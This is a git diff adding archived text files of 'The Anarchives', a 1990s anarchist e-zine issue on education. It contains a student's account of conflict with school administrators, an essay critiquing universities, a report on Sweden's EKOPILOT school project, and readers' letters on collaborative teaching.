promoting amateurism rather than + +professionalism. This is the only way to take power from the + +specialist corporate model. + + + +To be an amateur means there are no systematic campaigns. + +Anarchy comes from the methods and practices offered by all + +individuals. + + + +There is chaos in the wide array of differences that will + +emerge, but these differences are united in a common struggle. A + +struggle for freedom, with capitalism as a major obstacle. + + + +Anarchy is a human expression for freedom. It's time we all + +start expressing ourselves with a bit more volume. + + + +Ed Note: Darrell Lake is the author of the infamous biography of + +Mr. Fuck You Man. It is available through The Anarchy + +Organization. + +____________________________________________________________ + +Get with the program. Contact TAO today. + +____________________________________________________________ + +-- + + /-/\-\ The Anarchy Organization | + + / / \ \ Free Minds For Free Lives ( | ) + + --|-/----\-\-- yakimov@ecf.utoronto.ca \|/ + + \/ \/ jterpstra@trentu.ca `_^_' + + + + + diff --git a/textfiles.com/magazines/MISC/anarchives_2_2_2.txt b/textfiles.com/magazines/MISC/anarchives_2_2_2.txt new file mode 100644 index 00000000..ee421aff --- /dev/null +++ b/textfiles.com/magazines/MISC/anarchives_2_2_2.txt @@ -0,0 +1,562 @@ +The Anarchives Volume 2 Issue 2 Part Two Free + + The Anarchives To get free paper version send + + The Anarchives Snail-mail addresses to + + The Anarchives yakimov@ecf.utoronto.ca + + + + Anarchy & Education + + The Canadian Student Strike + + + +This transmission contains: edUcaTIonal chAoS + + + + Forward, spam, post, print, or send this everywhere... + +########################################################################### + +## ## + +## . ## + +## $$ ## + +## d$$b A ## + +## d$ $c N ## + +## .e$$ee$$e.. a ## + +## zd*$$" $$P*$e. r ## + +## .$" z$P $$. "$e C ## + +## $E $$ $$ $b h ## + +## $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Y ## + +## '$ $$ *$c $P ## + +## 3$$ *$$P ##G + +## d$*bc. ..d$$. ##i + +## d$" "**$eeee$**""^$$. ##l + +## d$" "$$ ##o + +## ##9 + +## ##5' + +########################################################################### + + + +edUcaTIonal chAoS + + + +by Dave Troyer + + + +rmharrop@utoronto.ca + + + +I am a grade eleven Toronto Board of education High School + +student who has not been to a regular class since about the end + +of November. Sounds good at first doesn't it? Not going to class + +in almost three months not seeing a pencil, book, or a teacher's + +dirty look. Well if you think it's fun, or 'a good thing', it's + +certainly not. I feel as if the same education system that is + +intended to prepare me for my life in this world has done + +nothing more than take my life away. It is really only a + +temporary setback, but I really do feel like I have lost three + +months of one of the best years of my life. And it is all + +accountable to certain administrators at my school who have + +failed miserably to do their intended jobs. It is not by choice + +that I am where I am now, typing on my computer keyboard at home + +rather than listening to a Biology teacher who I actually find + +quite interesting. It is because of a school system that has, + +over the years become very dated. The Toronto Board of + +Education's rules need to be re-written-written, and the whole + +system needs to be examined and evaluated right down to the rats + +running around in the halls, and I'm not talking about students, + +or any kind of rodents. + + + +My difficulties started very close to the beginning of the year + +when I was travelling about the halls of Northern Secondary + +trying to locate a man who I have now only met once, Mr. Way. He + +is the person in charge of admitting students into Northern + +Secondary's "Enriched" program. The reason why I was searching + +for him was to get a switch to an enriched English class, from + +the regular one that had been scheduled into my timetable. It + +had been recommended by both my grade nine, and ten English + +teachers that I be in an enriched class. The first and only time + +I met Mr. Way was enough for him to realise that I was the + +intelligent, strong English student I had presented myself as. + +To put it simply Mr. Way approved the change, and I was off to + +see my guidance counsellor to make the change in the computer. + +At that point one little problem arose; there were going to be + +too many changes that had to be made to accommodate my switch + +into an enriched class. Because neither I or my guidance + +counsellor felt that it was worth disrupting almost all of the + +other seven classes I was in to make the regular English fit we + +left it the way it was and I went to see my scheduled English + +class. + + + +My teacher and I had only seen each other a couple of times + +before because in the process of attempting to change my + +timetable, I had missed what to the best of my recollection was + +three classes. Before my first class in my old class I went to + +the teacher to say to her that I was sorry about any + +inconvenience this oddity was to her. I also at that point asked + +if throughout the year we could arrange some extra credit work + +if it seemed appropriate to compensate for my not being moved + +into an enriched class. She seemed to think that was a good idea + +and I went to my seat to get out my books for class. After class + +I went to her again and asked if I could have any assignments I + +might have missed while I was away. She smiled and told me about + +one I had missed which I could do and hand in next class. I + +thanked her and left the class. + + + +The next class I brought the assignment in and gave it to her. + +Much to my surprise rather than a courteous thanks, or + +appreciation, I was asked why I had not handed the assignment in + +with the others. I was also told that I was not wanted in that + +class if I was unwilling to participate and hand in assignments + +on time because I was going to be an extra bother to her. At + +that point I went to my seat and shut myself in thought until + +the bell rang allowing me to leave for the day. While I was + +thinking about the subject of how I felt about this teacher I + +noticed some of her behaviour towards other students. What I saw + +was a teacher that really had too much on her hands as do many + +teachers, students, and other inhabitants of any school. I saw + +her move a certain group of students away from each other + +because they were making noise, while leaving two other students + +(who I found quite disruptive) to talk their heads off in the + +front row of the class. Today I still believe that there was no + +favouritism (or whatever it has been called by the different + +people involved) on her part. I believe that she was simply too + +stressed because of the overly large size of that class, and she + +simply couldn't keep track of all of her students at once. + +However the simple fact of the matter is that I felt quite bad + +about the way she had spoken to me. + + + +With a burning feeling in my stomach, I went to see my + +Vice-Principal. I wasn't really sure what to tell him. I thought + +that my teacher might be brought into the picture more than as a + +character in a story that was being told. Because of the + +situation I asked that my confidence be kept; and my + +Vice-Principal said that he would do that for me. I didn't want + +my teacher to get reprimanded because of what had happened + +between her and I, or the way I felt because of what had + +transpired. At that point I wasn't really sure how serious any + +of this was, and that is part of the reason that I went to + +discuss the subject with my Vice-Principal. No matter how + +serious my Vice-Principal thought the teachers general actions + +toward the class were the simple fact of the matter was that I + +needed my timetable changed, and I needed another English + +'environment'. When I went to my Vice-Principal I knew that + +there was more than one other class in the same time slot that + +had empty seats that I could use. I saw this as a simple and + +logical change, as did other people who I talked the situation + +over with. It seemed however that my Vice-Principal thought that + +it wasn't a simple change and that I should go meet with my + +current English teacher and see if we couldn't work things out. + +This meant to me that I had to go and see my English teacher who + +was in no less of an awkward position and tell her to her face + +that I didn't like the way she conducted herself in the + +classroom. In simple terms I was supposed to go and insult her + +to her face, and hope that she still felt like working things + +out. + + + +As it happened I went to my English teacher and talked the + +situation over with her as best as I could without doing what I + +had essentially been asked, which was to tell her that I thought + +she was a bad teacher. I didn't and still don't feel that she is + +a bad teacher, she was simply too stressed. I would have done + +what my Vice-Principal had asked if I hadn't felt so trapped + +between doing what I was told and doing what was right. I felt + +was right was to let the situation rest for the meantime, change + +classes and go and talk to my English teacher to let her know + +that I was a sympathiser of the inadequate working conditions, + +rather than an enemy as I was forced to present myself as. The + +results of our conversation were nothing more than an increase + +of worry on my teacher's part, that she had done something + +dreadfully wrong. My teacher and I agreed that it was best that + +I not go to her class. + + + +With the situation unchanged I went back to my Vice-Principal to + +request that he make the change in my English class. He would do + +nothing for me, even though my teacher, guidance counsellor, and + +almost anyone else who had heard the story thought that the + +class should be changed for me. He said I would have to try to + +deal with that class, only giving me the excuse that he had + +"nothing to tell either the new teacher or the old teacher about + +why I was changing classes" and that "he needed something to + +tell them" or he couldn't make the change. He then asked me what + +I thought he should tell them? I felt that if he wanted + +something to tell them he certainly had it with what had already + +transpired. At the same time I felt like he was asking me to + +make something up as he had already forced me to do when I met + +with my English teacher earlier. So without anything resolved I + +left the Vice-Principal's office feeling incredibly trapped. I + +couldn't go to my old English class, and I had been given no + +other choice. + + + +A couple of days later when I went to see my Vice-Principal I + +was told that he was away sick and that another Vice-Principal + +had been asked to have a meeting with me. When I went down the + +hall to the other office and spoke with the other Vice-Principal + +neither of us really knew why I was there so we decided that the + +best thing was to wait until my regular V.P. had returned. The + +week ran out and my regular Vice-Principal had not returned + +leaving the situation up in the air. + + + +Over the weekend I developed the flu which kept me in bed at + +home for over a week. During that time my mother received a call + +>from my guidance counsellor, his reason for the phone call was + +to tell my mom that the school wanted a meeting with my her to + +sort out my situation. This phone call immediately told my + +mother that my Vice-Principal had broken my confidence. That + +evening my mother came home and told me about the call, and + +without a moments hesitation I knew also that my Vice-Principal + +had not kept his word to me that he would keep my confidence. + + + +I could have gone to no one else in this situation, except the + +next higher level up from me. It is almost like the relationship + +between a boss and an employee, my Vice-Principal is the next + +person up the power ladder from me. So without going to a higher + +level I was trapped. As it turned out the higher level came to + +us. My mother had a meeting with the Principal of Northern, + +along with my English teacher and the Vice-Principal. During + +this meeting it was heard by everyone there that my confidence + +had been broken. It was also heard that what my Vice-Principal + +had said caused my teacher to loose sleep, not what I had said + +frightening her unnecessarily. My Vice-Principal also said that + +I could now have my English class changed. When I heard + +the news that night of what had occurred at the meeting you + +might think that I would have been relieved to have my class + +changed and have myself back in school. What must be understood + +however is that at this point I had been out of school for a + +fairly long time and there was only one week left until exams. + +With exams that close I was left with no way of learning the + +material I had missed, and feeling that it was going to be very + +difficult to return to classes and sort things out with all of + +my teachers without having the choice of telling them this story + +I am telling to you right now. Some of the teachers may have + +rightfully said tough cookies to me and not given me the + +necessary work to catch up for my exams. Stuck in a state of + +emotional distress, and confusion as to what to do about this + +whole situation it was left until after the Christmas break. I + +was told that after the break I would be allowed to go back to + +classes and that everything would be sorted out. + + + +When I returned after the break I walked into my + +Vice-Principal's office to find him looking quite surprised to + +see me, and quite confused as to what to do, even though the + +Principal had asked me to go and see him. As it happened, he + +took me down the hall to the Principal's office where I was + +'read the riot act' so to speak. I was told that I was to be + +allowed to go to my regular classes for two weeks and "if at the + +end of these two weeks I had not missed any of my classes they + +would put me back on the roll". My Vice-Principal was told to + +give me a note to show my teachers that stated just that. + + + +Here's how the note read: + + + +"At present David is officially 'off roll'. His mother has + +arranged for a trial period of two weeks going to his old + +classes. If this is successful he will be formally reinstated. + +For this period there will be no attendance and the report will + +probably show N.M.A. Please let me know if he fails to attend or + +profit from your class. Welcome back" + + + +First of all this note is faulty. My mother didn't make that + +arrangement, and she did not know that these were going to be + +the contents of this note. They have also turned this into an + +issue of attendance and profit even though the root reason I was + +not attending was the breach of confidence made by my + +Vice-Principal. This note has turned out to be the final blow + +>from my school. I have not seen the inside of a classroom in + +three months, all because my school did everything to push me + +out without making the slightest attempt to get me back into + +classes. I question even the validity of this note because I + +don't understand what rule allows them to set these guidelines + +for me. Or did they just make them up? + + + +I am now leaving my friends and possible new friends and fellow + +Northerners for destination still unknown to me, I hope it's + +something better; or maybe all of are schools are failing this + +badly? + + + +This situation is one of many reasons I am striking this year, I + +hope you will make it one of yours. We need major changes at all + +levels of our education system whether it's the issue of sexual + +harassment, breaches of confidence like this one, or better + +curriculum. + + + +____________________________________________________________ + +Get with the program. Contact TAO today. + +____________________________________________________________ + +-- + + /-/\-\ The Anarchy Organization | + + / / \ \ Free Minds For Free Lives ( | ) + + --|-/----\-\-- yakimov@ecf.utoronto.ca \|/ + + \/ \/ jterpstra@trentu.ca `_^_' + + + + + diff --git a/textfiles.com/magazines/MISC/anarchives_2_2_3.txt b/textfiles.com/magazines/MISC/anarchives_2_2_3.txt new file mode 100644 index 00000000..6ae5dd0a --- /dev/null +++ b/textfiles.com/magazines/MISC/anarchives_2_2_3.txt @@ -0,0 +1,1171 @@ + + +The Anarchives Volume 2 Issue 2 Part Three Free + + The Anarchives To get free paper version send + + The Anarchives Snail-mail addresses to + + The Anarchives yakimov@ecf.utoronto.ca + + + + Anarchy & Education + + The Canadian Student Strike + + + +This transmission contains: Power In The Classroom? + + EKOPILOT + + Anarchy & Education + + Mr. Authority + + + + Forward, spam, post, print, or send this everywhere... + +########################################################################### + +## ## + +## . ## + +## $$ ## + +## d$$b A ## + +## d$ $c N ## + +## .e$$ee$$e.. a ## + +## zd*$$" $$P*$e. r ## + +## .$" z$P $$. "$e C ## + +## $E $$ $$ $b h ## + +## $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Y ## + +## '$ $$ *$c $P ## + +## 3$$ *$$P ##G + +## d$*bc. ..d$$. ##i + +## d$" "**$eeee$**""^$$. ##l + +## d$" "$$ ##o + +## ##9 + +## ##5' + +########################################################################### + + + +Power in the Classroom? + + + +A Plan for the Destruction of the Universities + +by Bernard Attias + + + +Last fall I spoke at Cornell and announced, "The food here is + +free!" and twenty of us went into the cafeteria, loaded our + +trays with hamburgers, Cokes, and pies, and walked out without + +paying. We sat in the dining hall laughing and slapping each + +other on the back stuffing our faces with Digger shit. I told + +them of epoxy glue and what a great invention it was. And at + +another school we asked them why they were there and they said + +just to get a diploma and so we passed out mimeographed sheets + +that said "T his is a diploma," and asked the question again.1 + + + +That this anecdote, from Abbie Hoffman's landmark essay "Plans + +for the Destruction of the Universities," strikes me as an + +amusing relic from a mythic era has something to do with the + +fact that it was written two years after I was born. But more + +important ly it highlights three important factors that must + +inevitably problematize the search for a truly critical + +pedagogy. First, the students in the universities I have + +attended and observed in the past seven years are well behaved. + +Monstrously well behaved. + + + +Allan Bloom's Closing of the American Mind expresses outrage at + +the chaotic shambles he sees in modern university education and + +vehemently attacks the nihilistic and relativistic radical + +intellectuals responsible for this mess. I fully agree with + +King sley Widmer's response to Bloom, "I had not thought we had + +been so successful!"2 In fact, we haven't. Students are in many + +ways the most blindly obedient and uncritical sheep I have ever + +encountered. Not only would the events described by Hoffman + +above be entirely unlikely in 1991; most students would view the + +actions described with revulsion if not horror. Second, in the + +wake of the recent television miniseries "War in the Gulf" and + +the rather feeble attempts on the part of student demonstrations + +to direct media attention (that is, advertising blips) away from + +the yellow ribbons and the stunning array of sophisticated + +gizmos capable of lofting all manner of shit into the desert, + +Hoffman's piece indicates just how little student radicals have + +learned in the past twenty years. Today's student radicals + +understand nothing about the media because today's students know + +nothing about the media, because their teachers know nothing + +about the media. But the media have completely redefined the + +ways in which u niversity education must proceed if it is ever + +to resemble anything educational, intellectual, or critical. + +Finally, the title of Hoffman's piece suggests what in my mind + +is the only feasible path to a truly critical pedagogy: the + +destruction of the universities. + + + +Before teachers and students ever arrive in a classroom, they + +have certain "places" within a blind, faceless institution which + +mark them in ways which must somehow be overcome for a truly + +critical pedagogy to develop. It is the purpose of this piece + +to analyze some of the ways in which these roles are produced + +and reproduced ideologically and suggest some of the results of + +this reproduction. What these results add up to, in my mind, is + +something profoundly anti-intellectual and anti-educational that + +is literally built into the university system within which + +critical teaching methods must develop. Critical pedagogy must + +attempt to subvert these institutional constraints from within; + +an arduous but necessary approach which implies turning + +university edu cation against the essence of university + +education, an essence which I will argue is profoundly + +anti-educational. Thus, my plan for the destruction of + +universities attempts to sacrifice the university to what in my + +mind must be a higher goal, education. This would not entail + +the abandonment of some of the benefits of the university + +institutions; such as grants, fellowships, bookstores, + +conferences, parties. But it must entail the rejection of the + +codes and relationships of power that have indelibly mar ked the + +university as a place where education doesn't occur. + + + +Ivan Illich and Buckminster Fuller both offer far-reaching + +proposals for educational reform which at first seem + +irreconcilable. While Illich argues for "deschooling society,"3 + +Fuller argues for a university from which noone ever graduates.4 + +Both approa ches, however, stem from similar perceptions of the + +university as an intellectually bankrupt institution. Illich + +and Fuller sense what all students learn in the university; + +perhaps the only thing students ever learn in the university, + +that real life is e lsewhere. For Illich this is the result of + +the radical division established between "education" and "the + +world" by the system of compulsory education, such that + +"education becomes unworldly and the world becomes + +non-educational." (31) Widmer argues that the university + +embodies hierarchy, excessive bureaucratic compartmentalization, + +exploitative corporate subservience, and systematic mediocrity, + +(5). The insipid proliferation of distinctions and categories + +that confronts the university student heightens the absurdity of + +ever expecting an education out of a university. Widmer + +continues: + + + +Start with the obvious bureaucratization. The petty corruption + +is pervasive + The character deformations from competitive + +hierarchy, however, are not the whole story + The problem must + +also include that the academic is a "professional" (generally + +taken a s an accolade), a prostitute inclined to proneness. And + +what + has one sold out to? Often simply to + +institutionalization, that is, endless processing. But that + +processing expresses one of the more extreme styles of the + +division of labor -- division of t hinking -- that fundamental + +source of hierarchical sensibility and its falsities + One ends + +up thinking, and acting, in terms of specializations and their + +pyramidal structures. (6) Of course, life in postmodern + +consumer society requires such a state of affairs; in fact "the + +modern economic system demands a mass production of students who + +have been rendered incapable of thinking."5 Schools separate + +creative writing from literature s o that students specialize in + +one or the other, and we wonder why our writers don't read? Of + +course, college students have come out of years of such + +absurdity in their elementary and secondary educational + +institutions, so it should be no surprise that ev en at its best + +the university provides corporations with a new crop of + +semi-literate market researchers and promotional workers each + +year, turning out only the occasional artist, writer, or teacher + +who almost invariably ends up perpetuating the institutio n's + +bureaucratic inertia. "In this ornate, multi-leveled, however + +muddled, fucking-over of semi-literacy, few come out writing + +well, and even fewer with much critical perception of the + +culture and society in which they live." (Widmer, 7) + + + +Prince's brilliant admonition to parents in the media age"Don't + +let your children watch television until they know how to read + +or else all they'll know how to do is cuss, fight and bleed" -- + +is unfortunately an impossibility. Neil Postman outlines t he + +critical contradiction of traditional education in the latter + +half of the twentieth century: + + + +There are some teachers who think they are in the "transmission + +of our cultural heritage" business, which is not an unreasonable + +business if you are concerned with the whole clock and not just + +its first 57 minutes. The trouble is that most teachers find + +the last three minutes too distressing to deal with, which is + +exactly why they are in the wrong business. Their students find + +the last three minutes distressing -- and confusing -- too, + +especially the last thirty seconds, and they need help. While + +they have to live with TV, film, the LP record, communication + +satellites, and the laser beam, their teachers are still talking + +as if the only medium on the scene is Gutenberg's printing + +press.6 Teachers cannot possibly hope to compete with the + +cathode ray tube when they regard their roles as transmitters of + +bodies of completely useless information. We ask students to be + +familiar with the standard texts of a given field rather than + +helping them to critically confront the endless barrage of + +information they encounter daily. Composer John Cage points + +out, "The reason I dropped out of college was because I was + +absolutely horrified by being in a class which had, say, two + +hundred members, and an ass ignment being given to have all two + +hundred people read the same book. I thought that if everyone + +read the same book, it was a waste of people."7 Moreover, do we + +really expect students to see the university environment as + +anything but a stultifying retr eat from everyday existence when + +we tell them to read Plato before McLuhan and Rousseau before + +Nietzsche? But it is not the content of education that my + +criticism is principally directed at; it is the form. McLuhan's + +formula "the medium is the message" applies as much to the + +classroom as it does to the fax machine. Material behavior in + +the classroom is, in my view, infinitely more important than the + +specific informational contents of a syllabus. This material + +behavior is inevitably circumscribed by se veral institutional + +conditions: classes "meet" at a given time, according to a + +schedule; students and teachers alike have to fill out papers + +daily in order to legitimize their existence in the institution; + +students are assigned one of a totally unimaginat ive array of + +five letters at the end of each semester and this letter tells + +them how good they are; everything is geared toward a tedious, + +ritualized monotony with no room at all for spontaneity or + +creativity. If we do our jobs correctly the monotony is + +compounded by a teaching style that hasn't progressed since the + +fourteenth century: students face a single teacher at the front + +of the room who crams an astonishing number of lists down their + +throat (the five steps in a good oration; the three principles + +of rhetoric; the seven stages of a political movement; the four + +causes of the American revolution; etc, ad nauseaum) while the + +students dutifully scribble and daydream. + + + +In a mediated society, educators can no longer be content in + +losing the battle for the student's mind to the faceless + +bureaucracy of the institution or the soundbites of television + +advertisers. Power in postmodern society is exercised blindly + +by bureauc racies and concentrated only momentarily in + +orchestrated spectacles. Guy Debord writes of the commodity + +spectacle: "Lived reality is materially invaded by the + +contemplation of the spectacle while simultaneously absorbing + +the spectacular order, giving it positive cohesiveness. + +Objective reality is present on both sides. Every notion fixed + +this way has no other basis than its passage into the opposite: + +reality rises up within the spectacle, and the spectacle is + +real. This reciprocal alienation is the es sence and the + +support of the existing society."8 This is the aestheticization + +of politics a generation after Auschwitz, Hiroshima, and + +television; a generation with an attention span of just under 28 + +seconds and to whom Madonna is more real than Socrates could + +ever be. The aestheticization of politics has not, however, + +been accompanied by a corresponding aestheticization of + +education, and the power of the spectacle has been monopolized + +by the advertising moguls of commodity society -- so much energy + +pou red into developing the perfect sound bite to make people + +buy; so little put into developing the perfect sound bite to + +make people think. How can we expect our students to be more + +interested in class than in television? The simple answer is + +that power i s always blind and bureaucratic; power seems + +irresistibly entrenched in the structure of society because the + +structure of society is taken for granted. Foucault argues, + +"Power is everywhere; not because it embraces everything, but + +because it comes from e verywhere."9 This can seem disheartening + +for anyone who wishes to honestly challenge the way society is; + +however, the very blindness of power may be the most effective + +avenue for resistance. Power is not centralized in the + +university or network news: "p ower + is not that which makes + +the difference between those who do not have it and submit to + +it. Power must be analysed as something which circulates, or + +rather as something which only functions in the form of a chain. + +It is never localized here or ther e, never in anybody's hands, + +never appropriated as a commodity or a piece of wealth. Power + +is employed and exercised through a net-like organization. And + +not only do individuals circulate between its threads; they are + +always in the position of simultane ously undergoing and + +exercising this power."10 As teachers we are all actively + +engaged in this vast network of power, reproducing the system + +where we do not challenge our given roles within the system. + + + +The system of power is infinitely malleable, but changing it + +requires that we abandon the goals of university education and + +begin to develop the tools for education. This does not mean + +quitting our jobs or trying to shut down the university; rather, + +it means using the established institution against itself, + +creating spectacles in the university that might compete with + +those offered on television, and might thus help to bridge the + +gap between education and everyday life. Most emphatically, + +this gap nee ds to be bridged in both directions -- not simply + +opening education to the "real world," but also opening the + +"real world" to education. Being critical means constantly + +traversing the artificial boundaries between disciplines; + +emphasizing the learning pr ocess itself rather than the list of + +works required for a particular niche-like specialization. In + +today's world, the aestheticization of politics requires that + +teachers aestheticize the educational system; using the power of + +the spectacle as an educatio nal tool in ways that subvert the + +power of the spectacle as an economic tool. Teaching should be + +more performance than ritual; when it becomes routinized it's + +time to throw away the syllabus and give everybody an A. While + +the abolition of grades is a wo rthy goal it is not going to be + +accepted by most universities in the near future; the only + +possible response to the competitive hierarchies of higher + +education is contempt -- the goal being to eliminate the effects + +of grades if not the grades themselves. + + + +Of course, I have given little indication of what such an + +approach might look like if put into practice; while some + +examples are possible at this point much work needs to be done + +in terms of theorizing an academy without universities and an + +academic prac tice that effectively overcomes the routinization + +and compartmentalization inherent in the university system. But + +recognizing the problem means recognizing that this theorization + +must take place. Kingsley Widmer: + + + +Obvious logic: To the degree that academicians can teach, they + +can also misteach. Learning is not a one-way street. And we + +misteach millions of inappropriate students the low arts of + +semi-literacy, trivialization, and uncritical spirit. That + +dominating vocation tends to denature the few things, the + +humanities and sciences, that the universities might be able to + +do well. As for the rest, from semi-pro sports to cultured + +marketing, from reinventing hierarchical sleaze to reblooming + +the ancient pomposity of resignation, from dull poets to deadly + +technocrats, bury them. Long live the university.... (12) + + + +1 Abbie Hoffman, "Plans for the Destruction of the + +Universities," Revolution for the Hell of it (NY: Dial, 1968) + +157. + + + +2 "Anarchist in Academe: Notes from a Contemporary University," + +Social Anarchism 14 (1989) 11. + + + +3 Deschooling Society (Manchester: Penguin, 1971). + + + +4 R. Buckminster Fuller, Education Automation + + + +5 "On the Poverty of Student Life: considered in its economic, + +political, psychological, sexual, and especially intellectual + +aspects, with a modest proposal for its remedy," by members of + +the Situationist International and students of Strasbourg, + +November 1966; in Ken Knabb ed. and trans., Situationist + +International Anthology (Berkeley: Bureau of Public Secrets, + +1981) 321. + + + +6 Teaching as a Subversive Activity (NY: Dell, 1969) 13-4. + + + +7 Richard Kostelanetz, "John Cage on Pedagogy: An + +Ur-Conversation," Social Anarchism 14 (1989) 27. + + + +8 Society of the Spectacle (Detroit: Black & Red, 1977) thesis + +8. + + + +9 The History of Sexuality: An Introduction Volume 1 trans. + +Robert Hurley (NY: Vintage, 1990) 93. + + + +10 "Two Lectures," trans. Alessandro Fontana and Pasquale + +Pasquino, in Colin Gordon, ed., Power/Knowledge: Selected + +Interviews and Other Writings, 1972-1977 (NY: Pantheon, 1980) + +98. + + + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$$$$$$P*"" ""*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$$$"" .zeP . 4e.. "*$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$" z$$$$P d$b "$$$b. *$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$" e$$$$$F d$$$b "$$$$$. ^*$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$" .$$$$$$" d$$$$$b '$$$$$b *$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$% .$$$$$$" d$$$$$$$b ^$$$$$b $$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$ 4$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$F $$$$$% d$$$$$$$$$$$$ ^$$$$F $$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$b $$$$" $$$$$$$$$$$$$$$. $$$F $$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$ '$$" $$$$$$$$$$$$$$$$$. $$ J$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$b "" $$$$$$$$$$$$$$$$$$$. " .$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$b $$$$$$$$$$$$$$$$$$$$$. .$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$. "$$$$$$$$$$$$$$$$$$P" d$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$b. ^"*$$$$$$$$$$$*" .e$$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$$$$b. """ .e$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$$$$$$$$$beeeeeee$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$Gilo94' + + + +EKOPILOT + + + +From: Hampus Brynolf (ingvar.brynolf@mailbox.swipnet.se) + + + +About the EKOPILOT project in Sweden. + + + +To understand this project, I have to explain a little about + +Swedish schools. In Sweden, you have the right to start a + +private-owned school, and you'll get as much money as a normal + +public school. Every student get a "money-bag" and then - it's + +up to him/her to choose school. The EKOPILOT (Echo Pilot) + +project is a part of public school, but still outside the + +ordinary public school system. This means that the headmaster of + +the school in Sölvesborg hasn't got any power over the project + +(they havn't got anything to say anyway...). The project + +started last autumn, that means that the first students has done + +one (of six) terms. Their school building is now ready (they + +have been in the ordinary school most of the time until now). + +The school is located about 2 km from Sölvesborg (a town with + +15000 citizens.) In the classroom, every student got his own + +writing table with a computer on. (TheyÝre going to have + +INTERNET access in the future) Every monday the students + +take either agriculture,domestic science or technique (they + +learn to install a toilet, how to build with bricks, how to + +paint your windows, etc.); everything that you need in the real + +life. But the founder of the project, Mats Holm_n means that + +the most important is to give the students comprehensive view + +of life, society etc and give every student a possibility to + +find his own way towards the future, NOT meaning the way to a + +profession. Today it's very important that you give the students + +the possibility to decide what they want with their lifes. The + +school must give the students a comprehensive view if we ever + +want a better world. Therefor they try to link all subjects + +together, reading subjects in blocks, you use alot of days + +(weeks) for a project including different subjects instead of + +the ordinary way when you read the subject isolated from the + +other subjects and from reality. They don't want to give report + +to their students, but the Swedish law demand them to do it + +anyway. Don't know yet what will happen. This sounds nice, + +doesn't it? It is - BUT everything is not good. Everything + +I've written is what Mats Holm_n has told me but unfortunately + +does not all the other teachers share his opinion about + +pedagogics. It is not a political project! They don't say: This + +is the leftwing way of education. Official they just question + +the normal way of teaching, the power over peoples that a + +normal school got and the one track minded education you get in + +a normal school. + + + +Mats Holm_n writes in a letter: + + + +"I took the ECHO-pilot intiative two years ago. I have always + +been involved in educational experiments of one kind or another + +for more than 20 years and one starting-point was of course my + +teaching experience (Swedish, English, French). Another was the + +current discussion in Sweden and elsewhere about fundamental + +changes in the welfare society: at present Sweden is rocked by + +the worst crisis since the 1930's. The future seems more chaotic + +than ever... + + + +In this situation I formed a group with seven colleagues who set + +out to create an education that would give the students maximum + +freedom of action after having completed their studies. + +So what are the main characteristics of the Echo Pilots project? + + + +I would like to point out the following: + + + +-Integration of theoretical and vocational subjects, the latter + +including basic carpentry, masonry, engineering, organic + +farming and cookingIntegration of humanities and science in + +joint projects - teachers working together in team.Three + +profiles: 1. Ecological profile 2. Small-scale + +enterprising profile 3. International profile (electronic + +communication, student exchange etc) + + + +Half of the time the Echo Pilots will be in a new-built + +schoolhouse in a tiny village just outside Sölvesborg. We will + +be very independent of the rest; a sort of private school + +within the system. 37 boys and girls announced their interests. + + + +To finace the project, the students for example clean their + +school. The most interesting with this project is not the idea; + +the interesting is that it is working! It's not a something that + +our enemys can say: "Sounds nice, but it doesn't work" about; + +this project is actually working!! + + + +----FIGHT ON! ----- + + + +Subject: Re: Anarchy & Education + +From: bob dick + +Dear Jesse + + + +I think this may count as "random late-night opinion", though I + +have thought about it a lot. For that matter, I do try to + +practise what I preach. It's in a university classroom, which + +is not the same as, e.g., the early years of education. But I + +think many of the same principles apply. + + + +School, I think, is to equip people with the skills, knowledge + +and understanding to take part in society. For an anarchist + +society, I think the most important skills are those required to + +maintain a collaborative culture in which individuals are + +guaranteed freedom. + + + +I assume people learn more from the _process_ of education than + +they do from the content. This implies that best results would + +be attained if each class were run as an anarchist (i.e. + +collaborative individualist) society. (I don't know if this + +matches your definition of anarchism or not. It's the one I'm + +using.) + + + +I may return to this issue if I have more time later today. For + +now, I'll content myself with mentioning the most important + +skills, in my view: the ability to establish and maintain good + +relationships; and, within those relationships, the ability to + +use collective decision-making processes which genuinely try to + +meet the needs of _all_. + + + +Regards -- Bob + + + + + +From: Bryan A Case + + + +Our local anarchist reading group is working through Neill's + +SUMMERHILL, from which we learn much. The book is not without + +problems, however: the author recognizes his school's class bias + +(yet another underground current in anarchism, THE DISPOSSESSED + +vs. the Abbe de Theleme); sexism and conservative gender + +construction... + + + +I taught freshman comp this fall from a decentralized + +perspective. As I am an employee of the University of Michigan, + +a major research institution with rightwing cash-rich alumni + +(heck, I even had to sign an oath of loyalty to the state of + +Michigan - I'm not kidding), I rapidly found my limits: I had to + +assign one (final) grade; I could not significantly alter the + +time and place of our meetings... Yet I tried some experiments: + + + +-Each student received a grading sheet during the first week. + +Two questions: 1. Would you like to receive grades during this + +semester? (y/n) 2. Please weight the percentage of your final + +grade that you would like per category [4 categories of + +work...]. They discussed these options in class for one + +meeting, then handed 'em in to me. I copied 'em and handed the + +xeroxes back. At the end of the term i calibrated their final + +grade based on their own percentages. Some students complained, + +but in terms of 